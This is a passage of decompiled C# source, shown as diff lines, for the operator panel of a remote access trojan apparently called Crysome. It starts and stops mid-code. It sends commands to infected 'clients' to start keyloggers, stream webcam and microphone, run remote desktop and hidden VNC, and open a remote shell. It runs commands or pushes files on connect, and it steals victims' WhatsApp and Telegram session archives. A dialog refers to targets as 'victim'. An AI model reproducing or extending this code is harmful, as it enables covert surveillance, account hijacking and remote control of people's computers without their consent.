Log("GetCameraDevices SENT to " + client.Address, "CAM"); + _cameraDevicesCallbacks[owner] = onReceived; + DispatcherTimer timeout = new DispatcherTimer + { + Interval = TimeSpan.FromSeconds(8L) + }; + timeout.Tick += delegate + { + timeout.Stop(); + if (_cameraDevicesCallbacks.TryGetValue(owner, out var cb)) + { + _cameraDevicesCallbacks.Remove(owner); + Log("GetCameraDevices TIMEOUT (8s) " + client.Address, "CAM"); + Application current = Application.Current; + if (current != null) + { + Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; + if (dispatcher != null) + { + dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(new string[0]); + }, Array.Empty()); + } + } + } + }; + timeout.Start(); + try + { + owner.SendPacket((IPacket)new GetCameraDevicesPacket()); + } + catch (Exception ex) + { + Log("GetCameraDevices SEND FAIL: " + ex.Message, "CAM"); + _cameraDevicesCallbacks.Remove(owner); + timeout.Stop(); + } + } + + public void GetAudioDevices(ClientInfo client, Action onReceived) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + if (client?.Owner == null || onReceived == null) + { + return; + } + CrysomeClient owner = client.Owner; + Log("GetAudioDevices SENT to " + client.Address, "MIC"); + _audioDevicesCallbacks[owner] = onReceived; + DispatcherTimer timeout = new DispatcherTimer + { + Interval = TimeSpan.FromSeconds(8L) + }; + timeout.Tick += delegate + { + timeout.Stop(); + if (_audioDevicesCallbacks.TryGetValue(owner, out var cb)) + { + _audioDevicesCallbacks.Remove(owner); + Log("GetAudioDevices TIMEOUT (8s) " + client.Address, "MIC"); + Application current = Application.Current; + if (current != null) + { + Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; + if (dispatcher != null) + { + dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(new string[0]); + }, Array.Empty()); + } + } + } + }; + timeout.Start(); + try + { + owner.SendPacket((IPacket)new GetAudioDevicesPacket()); + } + catch (Exception ex) + { + Log("GetAudioDevices SEND FAIL: " + ex.Message, "MIC"); + _audioDevicesCallbacks.Remove(owner); + timeout.Stop(); + } + } + + public void StartKeylogger(ClientInfo client, Action onLog) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + if (client?.Owner == null || onLog == null) + { + return; + } + _keyloggerCallbacks[client.Owner] = onLog; + try + { + client.Owner.SendPacket((IPacket)new StartKeyloggerPacket()); + } + catch + { + _keyloggerCallbacks.Remove(client.Owner); + } + } + + public void StopKeylogger(ClientInfo client) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + _keyloggerCallbacks.Remove(client.Owner); + try + { + client.Owner.SendPacket((IPacket)new StopKeyloggerPacket()); + } + catch + { + } + } + + public void RegisterChatHandler(ClientInfo client, Action onMessage) + { + if (client?.Owner != null && onMessage != null) + { + _chatHandlers[client.Owner] = onMessage; + } + } + + public void UnregisterChatHandler(ClientInfo client) + { + if (client?.Owner != null) + { + _chatHandlers.Remove(client.Owner); + } + } + + public void SendChatMessage(ClientInfo client, string message) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Expected O, but got Unknown + if (client?.Owner == null || string.IsNullOrEmpty(message)) + { + return; + } + try + { + client.Owner.SendPacket((IPacket)new ChatMessagePacket(message)); + } + catch + { + } + } + + public void StartAudioStream(ClientInfo client, int deviceIndex, Action onChunk) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + if (client?.Owner == null || onChunk == null) + { + return; + } + Log("StartAudioStream SENT to " + client.Address + " idx=" + deviceIndex, "MIC"); + _audioStreamHandlers[client.Owner] = onChunk; + try + { + client.Owner.SendPacket((IPacket)new StartAudioStreamPacket(deviceIndex)); + } + catch (Exception ex) + { + Log("StartAudioStream SEND FAIL: " + ex.Message, "MIC"); + _audioStreamHandlers.Remove(client.Owner); + } + } + + public void StopAudioStream(ClientInfo client) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + _audioStreamHandlers.Remove(client.Owner); + try + { + client.Owner.SendPacket((IPacket)new StopAudioStreamPacket()); + } + catch + { + } + } + + public void StartRemoteDesktop(ClientInfo client, int intervalMs, int screenIndex, byte captureMode, Action onFrame, Action onQualityChange = null) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + if (client?.Owner == null || onFrame == null) + { + return; + } + _desktopFrameHandlers[client.Owner] = onFrame; + if (onQualityChange != null) + { + _rdpQualityCallbacks[client.Owner] = onQualityChange; + } + RdpQualityState state = new RdpQualityState + { + IntervalMs = intervalMs + }; + _rdpQualityStates[client.Owner] = state; + StartRemoteDesktopPacket pkt = new StartRemoteDesktopPacket + { + IntervalMs = intervalMs, + ScreenIndex = screenIndex, + UdpPort = 0, + SessionToken = 0u, + CaptureMode = captureMode + }; + try + { + client.Owner.SendPacket((IPacket)(object)pkt); + } + catch + { + _desktopFrameHandlers.Remove(client.Owner); + _rdpQualityCallbacks.Remove(client.Owner); + _rdpQualityStates.Remove(client.Owner); + return; + } + CrysomeClient owner = client.Owner; + Task.Run(delegate + { + for (int i = 1; i <= 3; i++) + { + Thread.Sleep(5000); + if (!_desktopFrameHandlers.ContainsKey(owner) || state.LastFrameTime != DateTime.MinValue) + { + break; + } + try + { + owner.SendPacket((IPacket)(object)pkt); + } + catch + { + break; + } + } + }); + } + + public void GetScreens(ClientInfo client, Action onReceived) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + if (client?.Owner == null || onReceived == null) + { + return; + } + CrysomeClient owner = client.Owner; + _screensCallbacks[owner] = onReceived; + DispatcherTimer timeout = new DispatcherTimer + { + Interval = TimeSpan.FromSeconds(8L) + }; + timeout.Tick += delegate + { + timeout.Stop(); + if (_screensCallbacks.TryGetValue(owner, out var cb)) + { + _screensCallbacks.Remove(owner); + Application current = Application.Current; + if (current != null) + { + Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; + if (dispatcher != null) + { + dispatcher.BeginInvoke((Delegate)(Action)delegate + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Expected O, but got Unknown + cb(new ScreensResponsePacket()); + }, Array.Empty()); + } + } + } + }; + timeout.Start(); + try + { + owner.SendPacket((IPacket)new GetScreensRequestPacket()); + } + catch + { + _screensCallbacks.Remove(owner); + timeout.Stop(); + } + } + + public void StopRemoteDesktop(ClientInfo client) + { + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + _desktopFrameHandlers.Remove(client.Owner); + _rdpQualityCallbacks.Remove(client.Owner); + _rdpQualityStates.Remove(client.Owner); + server?.UnregisterUdpSession(client.Owner); + try + { + client.Owner.SendPacket((IPacket)new StopRemoteDesktopPacket()); + } + catch + { + } + } + + public List GetClientSnapshot() + { + return server?.GetClientSnapshot() ?? new List(); + } + + public void UnregisterDesktopFrames(ClientInfo client) + { + if (client?.Owner != null) + { + _desktopFrameHandlers.Remove(client.Owner); + _rdpQualityCallbacks.Remove(client.Owner); + _rdpQualityStates.Remove(client.Owner); + } + } + + public void SendRemoteInput(ClientInfo client, byte kind, int x, int y, int buttonOrKey) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + RemoteInputPacket val = new RemoteInputPacket + { + Kind = kind, + X = x, + Y = y, + ButtonOrKey = buttonOrKey + }; + try + { + if (kind == 0) + { + client.Owner.SendPacketUnreliable((IPacket)(object)val); + } + else + { + client.Owner.SendPacket((IPacket)(object)val); + } + } + catch + { + } + } + + public void StartHvnc(ClientInfo client, int quality, int intervalMs, Action onFrame) + { + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + if (client?.Owner == null || onFrame == null) + { + return; + } + _hvncFrameHandlers[client.Owner] = onFrame; + try + { + client.Owner.SendPacket((IPacket)new StartHvncPacket + { + Quality = quality, + IntervalMs = intervalMs + }); + } + catch + { + _hvncFrameHandlers.Remove(client.Owner); + } + } + + public void StopHvnc(ClientInfo client) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + _hvncFrameHandlers.Remove(client.Owner); + try + { + client.Owner.SendPacket((IPacket)new StopHvncPacket()); + } + catch + { + } + } + + public void UnregisterHvncFrames(ClientInfo client) + { + if (client?.Owner != null) + { + _hvncFrameHandlers.Remove(client.Owner); + } + } + + public void SendHvncInput(ClientInfo client, int msg, int wParam, int lParam) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + HvncInputPacket val = new HvncInputPacket + { + Msg = msg, + WParam = wParam, + LParam = lParam + }; + try + { + if (msg == 512) + { + client.Owner.SendPacketUnreliable((IPacket)(object)val); + } + else + { + client.Owner.SendPacket((IPacket)(object)val); + } + } + catch + { + } + } + + public void SendHvncRunRequest(ClientInfo client, byte action, string path = null) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + if (client?.Owner == null) + { + return; + } + try + { + client.Owner.SendPacket((IPacket)new HvncRunRequestPacket + { + Action = action, + Path = (path ?? "") + }); + } + catch + { + } + } + + private void HandleHvncFrame(CrysomeClient sender, IPacket packet) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected O, but got Unknown + if (_hvncFrameHandlers.TryGetValue(sender, out var cb)) + { + HvncFramePacket p = (HvncFramePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.ImageData ?? new byte[0]); + }, Array.Empty()); + } + } + + private void HandleAudioData(CrysomeClient sender, IPacket packet) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Expected O, but got Unknown + string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; + Log("AudioData RECV from " + text, "MIC"); + if (!_audioDataCallbacks.TryGetValue(sender, out var cb)) + { + Log("AudioData no callback for " + text, "MIC"); + return; + } + _audioDataCallbacks.Remove(sender); + AudioDataPacket p = (AudioDataPacket)packet; + byte[] wavData = p.WavData; + Log("AudioData " + ((wavData != null) ? wavData.Length : 0) + " bytes from " + text, "MIC"); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.WavData ?? new byte[0]); + }, Array.Empty()); + } + + private void HandleCameraFrame(CrysomeClient sender, IPacket packet) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Expected O, but got Unknown + string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; + Log("CameraFrame RECV from " + text, "CAM"); + if (!_cameraFrameCallbacks.TryGetValue(sender, out var cb)) + { + Log("CameraFrame no callback for " + text, "CAM"); + return; + } + _cameraFrameCallbacks.Remove(sender); + CameraFramePacket p = (CameraFramePacket)packet; + byte[] jpegData = p.JpegData; + Log("CameraFrame " + ((jpegData != null) ? jpegData.Length : 0) + " bytes from " + text, "CAM"); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.JpegData ?? new byte[0]); + }, Array.Empty()); + } + + private void HandleKeylogData(CrysomeClient sender, IPacket packet) + { + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Expected O, but got Unknown + ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + if (info != null && !info.KeyloggerActive) + { + Application current = Application.Current; + if (current != null) + { + ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + info.KeyloggerActive = true; + }, Array.Empty()); + } + } + if (_keyloggerCallbacks.TryGetValue(sender, out var cb)) + { + KeylogDataPacket p = (KeylogDataPacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.Data ?? ""); + }, Array.Empty()); + } + } + + public void RegisterOfflineKeylogCallback(CrysomeClient client, Action cb) + { + _offlineKeylogCallbacks[client] = cb; + } + + public void UnregisterOfflineKeylogCallback(CrysomeClient client) + { + _offlineKeylogCallbacks.TryRemove(client, out var _); + } + + private void HandleOfflineKeylogData(CrysomeClient sender, IPacket packet) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + OfflineKeylogDataPacket p = (OfflineKeylogDataPacket)packet; + ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + if (_offlineKeylogCallbacks.TryGetValue(sender, out var cb)) + { + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.Data ?? "", arg2: true); + }, Array.Empty()); + } + else + { + if (info == null) + { + return; + } + Application current = Application.Current; + if (current != null) + { + ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + info.AppendOfflineKeylog(p.Data ?? ""); + }, Array.Empty()); + } + } + } + + private void HandleChatMessage(CrysomeClient sender, IPacket packet) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected O, but got Unknown + if (_chatHandlers.TryGetValue(sender, out var cb)) + { + ChatMessagePacket p = (ChatMessagePacket)packet; + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + string from = ((clientInfo != null) ? clientInfo.Address : "?"); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(from, p.Message ?? ""); + }, Array.Empty()); + } + } + + private void HandleCameraDevicesResponse(CrysomeClient sender, IPacket packet) + { + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; + Log("CameraDevicesResponse RECV from " + text, "CAM"); + if (!_cameraDevicesCallbacks.TryGetValue(sender, out var cb)) + { + Log("CameraDevicesResponse no callback for " + text, "CAM"); + return; + } + _cameraDevicesCallbacks.Remove(sender); + CameraDevicesResponsePacket val = (CameraDevicesResponsePacket)packet; + string[] names = val.DeviceNames ?? new string[0]; + Log("CameraDevicesResponse " + names.Length + " devices from " + text, "CAM"); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(names); + }, Array.Empty()); + } + + private void HandleAudioDevicesResponse(CrysomeClient sender, IPacket packet) + { + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Expected O, but got Unknown + string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?"; + Log("AudioDevicesResponse RECV from " + text, "MIC"); + if (!_audioDevicesCallbacks.TryGetValue(sender, out var cb)) + { + Log("AudioDevicesResponse no callback for " + text, "MIC"); + return; + } + _audioDevicesCallbacks.Remove(sender); + AudioDevicesResponsePacket val = (AudioDevicesResponsePacket)packet; + string[] names = val.DeviceNames ?? new string[0]; + Log("AudioDevicesResponse " + names.Length + " devices from " + text, "MIC"); + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(names); + }, Array.Empty()); + } + + private void HandleAudioStreamChunk(CrysomeClient sender, IPacket packet) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected O, but got Unknown + if (_audioStreamHandlers.TryGetValue(sender, out var cb)) + { + AudioStreamChunkPacket p = (AudioStreamChunkPacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.Chunk ?? new byte[0]); + }, Array.Empty()); + } + } + + private void HandleDesktopFrame(CrysomeClient sender, IPacket packet) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Expected O, but got Unknown + if (!_desktopFrameHandlers.TryGetValue(sender, out var cb)) + { + return; + } + DesktopFramePacket p = (DesktopFramePacket)packet; + if (_rdpQualityStates.TryGetValue(sender, out var value)) + { + DateTime utcNow = DateTime.UtcNow; + if (value.LastFrameTime != DateTime.MinValue) + { + double totalMilliseconds = (utcNow - value.LastFrameTime).TotalMilliseconds; + double num = (double)value.IntervalMs * 4.0; + if (totalMilliseconds > num) + { + value.BadStreak++; + value.GoodStreak = 0; + if (value.BadStreak >= 5) + { + RdpStepDown(sender, value); + value.BadStreak = 0; + } + } + else + { + value.GoodStreak++; + value.BadStreak = 0; + if (value.GoodStreak >= 8) + { + RdpStepUp(sender, value); + value.GoodStreak = 0; + } + } + } + value.LastFrameTime = utcNow; + } + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p.ImageData ?? new byte[0]); + }, Array.Empty()); + } + + private void Server_UdpFrameReceived(object s, UdpFrameEventArgs e) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + if (e.PacketTypeId == 36) + { + HandleDesktopFrame(e.Client, (IPacket)new DesktopFramePacket(e.Data)); + } + else if (e.PacketTypeId == 46) + { + HandleHvncFrame(e.Client, (IPacket)new HvncFramePacket(e.Data)); + } + } + + private void RdpStepDown(CrysomeClient client, RdpQualityState state) + { + if (state.Level > 0) + { + state.Level--; + state.CurrentQuality = _rdpLevels[state.Level].Quality; + state.IntervalMs = _rdpLevels[state.Level].IntervalMs; + SendRdpLevel(client, state.CurrentQuality, state.IntervalMs); + } + } + + private void RdpStepUp(CrysomeClient client, RdpQualityState state) + { + if (state.Level < _rdpLevels.Length - 1) + { + state.Level++; + state.CurrentQuality = _rdpLevels[state.Level].Quality; + state.IntervalMs = _rdpLevels[state.Level].IntervalMs; + SendRdpLevel(client, state.CurrentQuality, state.IntervalMs); + } + } + + private void SendRdpLevel(CrysomeClient client, int quality, int intervalMs) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Expected O, but got Unknown + try + { + client.SendPacket((IPacket)new RdpSetQualityPacket(quality, intervalMs)); + } + catch + { + } + if (!_rdpQualityCallbacks.TryGetValue(client, out var cb)) + { + return; + } + Application current = Application.Current; + if (current == null) + { + return; + } + Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher; + if (dispatcher != null) + { + dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(quality); + }, Array.Empty()); + } + } + + private void HandleScreensResponse(CrysomeClient sender, IPacket packet) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + if (_screensCallbacks.TryGetValue(sender, out var cb)) + { + _screensCallbacks.Remove(sender); + ScreensResponsePacket p = (ScreensResponsePacket)packet; + ((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + cb(p); + }, Array.Empty()); + } + } + + private ClientInfo GetSingleClient() + { + if (_selectedClients.Count == 1) + { + return _selectedClients[0]; + } + if (SelectedClient != null) + { + return SelectedClient; + } + return null; + } + + private void DoProcessManager() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + ProcessManagerWindow processManagerWindow = new ProcessManagerWindow(singleClient, this); + ((Window)(object)processManagerWindow).Owner = Application.Current.MainWindow; + ((Window)(object)processManagerWindow).Show(); + } + + private void DoRemoteShell() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + RemoteShellWindow remoteShellWindow = new RemoteShellWindow(singleClient, this); + ((Window)(object)remoteShellWindow).Owner = Application.Current.MainWindow; + ((Window)(object)remoteShellWindow).Show(); + } + + private void DoRemoteAudio() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + Log("RemoteAudioWindow OPEN for " + singleClient.Address, "MIC"); + RemoteAudioWindow remoteAudioWindow = new RemoteAudioWindow(singleClient, this); + ((Window)(object)remoteAudioWindow).Owner = Application.Current.MainWindow; + ((Window)(object)remoteAudioWindow).Show(); + } + + private void DoRemoteCamera() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + Log("RemoteCameraWindow OPEN for " + singleClient.Address, "CAM"); + RemoteCameraWindow remoteCameraWindow = new RemoteCameraWindow(singleClient, this); + ((Window)(object)remoteCameraWindow).Owner = Application.Current.MainWindow; + ((Window)(object)remoteCameraWindow).Show(); + } + + private void DoRemoteDesktop() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + RemoteDesktopWindow obj = new RemoteDesktopWindow(singleClient, this) + { + Owner = Application.Current.MainWindow + }; + ActiveRdpCount++; + ((Window)(object)obj).Closed += delegate + { + if (ActiveRdpCount > 0) + { + ActiveRdpCount--; + } + }; + ((Window)(object)obj).Show(); + } + + private void DoHvnc() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + HvncWindow obj = new HvncWindow(singleClient, this) + { + Owner = Application.Current.MainWindow + }; + ActiveHvncCount++; + ((Window)(object)obj).Closed += delegate + { + if (ActiveHvncCount > 0) + { + ActiveHvncCount--; + } + }; + ((Window)(object)obj).Show(); + } + + private void DoKeylogger() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + KeyloggerWindow keyloggerWindow = new KeyloggerWindow(singleClient, this); + ((Window)(object)keyloggerWindow).Owner = Application.Current.MainWindow; + ((Window)(object)keyloggerWindow).Show(); + } + + private void DoRemoteChat() + { + ClientInfo singleClient = GetSingleClient(); + if (singleClient?.Owner == null) + { + EnqueueStatus("Select one client"); + return; + } + RemoteChatWindow remoteChatWindow = new RemoteChatWindow(singleClient, this); + ((Window)(object)remoteChatWindow).Owner = Application.Current.MainWindow; + ((Window)(object)remoteChatWindow).Show(); + } + + private void DoOpenFileManager() + { + if (_selectedClients.Count != 1) + { + MessageBox.Show("File Manager requires exactly one client to be selected.\n\nPlease select a single victim and try again.", "One client required", MessageBoxButton.OK, MessageBoxImage.Asterisk); + } + else + { + _mainViewModel.GoToFileExplorer(server, _selectedClients[0]); + } + } + + private void RunOnConnectTasks(CrysomeClient client) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Expected O, but got Unknown + foreach (AutoTask autoTask in store.AutoTasks) + { + if (autoTask.Time != "Always" || autoTask.Date != "Always") + { + continue; + } + try + { + if (autoTask.Kind == "OnConnect") + { + client.SendPacket((IPacket)new RunCommandRequestPacket(autoTask.Param)); + } + else if (autoTask.Kind == "OnConnectFile" && File.Exists(autoTask.Param)) + { + byte[] array = File.ReadAllBytes(autoTask.Param); + client.SendPacket((IPacket)new FileTransferRequestPacket(Path.GetFileName(autoTask.Param), array)); + } + } + catch + { + } + } + } + + private void LogEntries_Filter(object sender, FilterEventArgs e) + { + if (!(e.Item is LogLineEntry logLineEntry)) + { + e.Accepted = false; + return; + } + if (_logCategoryHide.Count == 0) + { + e.Accepted = true; + return; + } + string text = logLineEntry.Category ?? ""; + e.Accepted = string.IsNullOrEmpty(text) || !_logCategoryHide.Contains(text); + } + + private void DoWhatsAppSession() + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault(); + if (clientInfo?.Owner == null) + { + EnqueueStatus("Select a client"); + return; + } + string address = clientInfo.Address; + Log("Requesting WhatsApp session from " + address, "WHATSAPP"); + try + { + clientInfo.Owner.SendPacket((IPacket)new WhatsAppSessionRequestPacket()); + } + catch (Exception ex) + { + Log("WhatsApp request failed " + address + ": " + ex.Message, "SYS"); + } + } + + private void HandleWhatsAppSessionResponse(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + WhatsAppSessionResponsePacket p = (WhatsAppSessionResponsePacket)packet; + string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X"); + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + if (!p.Success || p.ZipData == null || p.ZipData.Length == 0) + { + string text = (string.IsNullOrEmpty(p.ErrorMessage) ? "No session data." : p.ErrorMessage); + Log("WhatsApp session from " + addr + ": " + text, "WHATSAPP"); + MessageBox.Show("WhatsApp session error:\n" + text, "WhatsApp Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); + } + else + { + Log($"WhatsApp session from {addr}: {p.ZipData.Length:N0} bytes received", "WHATSAPP"); + string value = string.Concat((addr ?? "client").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); + SaveFileDialog saveFileDialog = new SaveFileDialog + { + Title = "Save WhatsApp Session", + Filter = "ZIP Archive|*.zip", + FileName = $"WhatsApp_{value}_{DateTime.Now:yyyyMMdd_HHmmss}.zip" + }; + if (saveFileDialog.ShowDialog() == true) + { + try + { + File.WriteAllBytes(saveFileDialog.FileName, p.ZipData); + Log("WhatsApp session saved: " + saveFileDialog.FileName, "WHATSAPP"); + new WhatsAppSessionWindow(saveFileDialog.FileName, addr, p.ZipData.Length).Show(); + } + catch (Exception ex) + { + MessageBox.Show("Failed to save: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand); + } + } + } + }); + } + + private void DoTelegramSession() + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + List list = SelectedClients.ToList(); + if (!list.Any()) + { + MessageBox.Show("No client selected.", "Telegram Session"); + return; + } + foreach (ClientInfo item in list) + { + string text = item?.Address ?? "?"; + try + { + item.Owner.SendPacket((IPacket)new TelegramSessionRequestPacket()); + Log("Telegram session requested from " + text, "TELEGRAM"); + } + catch (Exception ex) + { + Log("Telegram request failed " + text + ": " + ex.Message, "SYS"); + } + } + } + + private void HandleTelegramSessionResponse(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + TelegramSessionResponsePacket p = (TelegramSessionResponsePacket)packet; + string addr = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? ((object)sender).GetHashCode().ToString("X"); + string userName = (string.IsNullOrWhiteSpace(p.UserName) ? addr : p.UserName); + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + if (!string.IsNullOrEmpty(p.Error)) + { + Log("Telegram session from " + addr + ": " + p.Error, "TELEGRAM"); + MessageBox.Show("Telegram session error:\n" + p.Error, "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); + } + else + { + if (p.ZipBytes != null && p.ZipBytes.Length != 0) + { + Log($"Telegram session from {addr} ({userName}): {p.ZipBytes.Length:N0} bytes received", "TELEGRAM"); + try + { + string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "telegram"); + Directory.CreateDirectory(text); + string text2 = string.Concat(userName.Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c))); + if (string.IsNullOrWhiteSpace(text2)) + { + text2 = addr.Replace(".", "_").Replace(":", "_"); + } + string path = text2 + "_tdata.zip"; + string text3 = Path.Combine(text, path); + File.WriteAllBytes(text3, p.ZipBytes); + Log("Telegram session saved: " + text3, "TELEGRAM"); + MessageBox.Show($"Telegram tdata saved!\n\nFile: {text3}\nSize: {p.ZipBytes.Length:N0} bytes", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Asterisk); + return; + } + catch (Exception ex) + { + Log("Telegram session save error: " + ex.Message, "SYS"); + MessageBox.Show("Failed to save tdata: " + ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand); + return; + } + } + Log("Telegram session from " + addr + ": no data received.", "TELEGRAM"); + MessageBox.Show("No Telegram session data received.", "Telegram Session", MessageBoxButton.OK, MessageBoxImage.Exclamation); + } + }); + } + + private void DoExportLog() + { + SaveFileDialog saveFileDialog = new SaveFileDialog + { + Filter = "Log|*.log", + FileName = "activity.log" + }; + if (saveFileDialog.ShowDialog() == 